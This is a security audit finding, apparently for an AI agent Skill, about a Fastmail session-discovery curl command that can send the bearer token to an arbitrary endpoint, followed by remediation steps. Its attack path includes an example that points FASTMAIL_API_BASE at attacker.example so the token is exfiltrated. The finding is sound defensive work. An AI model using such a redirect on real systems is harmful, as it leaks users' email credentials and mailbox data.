T09 · Insecure Skill Coding Practices
- Location
session.md:12- Finding
Fastmail Bearer Token Can Be Sent to an Arbitrary Endpoint
- Content
View full analysis
Vulnerability Details
File Location:
session.md, lines 12–13
Vulnerability Type: Unrestricted credential destination
Risk Level: HighVulnerable Code
bash curl -sS "${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}" \ -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jqTechnical Analysis
The session-discovery command uses the externally controlled
FASTMAIL_API_BASEenvironment variable as the request destination without validating its scheme, hostname, port, or origin. The command then unconditionally attaches the complete Fastmail bearer token in theAuthorizationheader.An attacker or compromised process capable of controlling this environment variable can redirect the authenticated request to an attacker-operated endpoint. The endpoint may also return malicious JMAP session metadata, including attacker-controlled
apiUrl,uploadUrl,downloadUrl, andeventSourceUrlvalues. If those values are trusted, later requests could disclose mailbox queries, message or attachment blobs, contact and calendar data, and additional authenticated traffic.This conflicts with the security statement in
SKILL.mdthat only official Fastmail endpoints are used. Supporting a non-Fastmail JMAP server may be legitimate functionality, but forwarding a Fastmail token to an unvalidated destination exceeds the minimum privilege necessary for the declared Fastmail integration.Attack Path
- An attacker gains influence over the environment used to invoke the Skill, such as through a wrapper, launcher configuration, inherited shell environment, or compromised automation.
- The attacker sets:
bash FASTMAIL_API_BASE=https://attacker.example/jmap/session - The Skill executes the documented session-discovery command.
curlconnects to the attacker-controlled server and sends:http Authorization: Bearer <FASTMAIL_API_TOKEN>- The atta ...[truncated 1023 chars]
- Remediation
View remediation
Remediation Suggestions
-
Remove the
FASTMAIL_API_BASEoverride from this Fastmail-specific command and use a fixed endpoint:bash SESSION_URL="https://api.fastmail.com/jmap/session" curl --fail-with-body --silent --show-error "$SESSION_URL" \ -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jq -
If alternate JMAP servers are required, use a separate credential explicitly associated with the selected server. Never send
FASTMAIL_API_TOKENto a non-Fastmail origin. -
Require explicit user approval before changing the JMAP server, rather than accepting an inherited environment variable silently.
-
Enforce HTTPS and reject:
- Plain HTTP URLs
- URLs containing embedded credentials
- Unexpected ports
- Redirects to untrusted origins
- Hostnames outside an explicit allowlist
-
Disable redirects or validate every redirect target before forwarding the authorization header.
-
Validate all service URLs returned by the session response. For a Fastmail token, require
apiUrl,uploadUrl,downloadUrl, andeventSourceUrlto use HTTPS and an approved Fastmail origin before transmitting credentials or account data. -
Keep separate trust policies for Fastmail and generic JMAP operation. A user-configured generic JMAP endpoint should have its own endpoint-bound token and should not inherit Fastmail credentials.
-
Add a fail-closed check before the request, for example:
bash SESSION_URL="${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}" case "$SESSION_URL" in https://api.fastmail.com/jmap/session) ;; *) printf '%s\n' "Refusing to send FASTMAIL_API_TOKEN to an untrusted endpoint." >&2 exit 1 ;; esac
-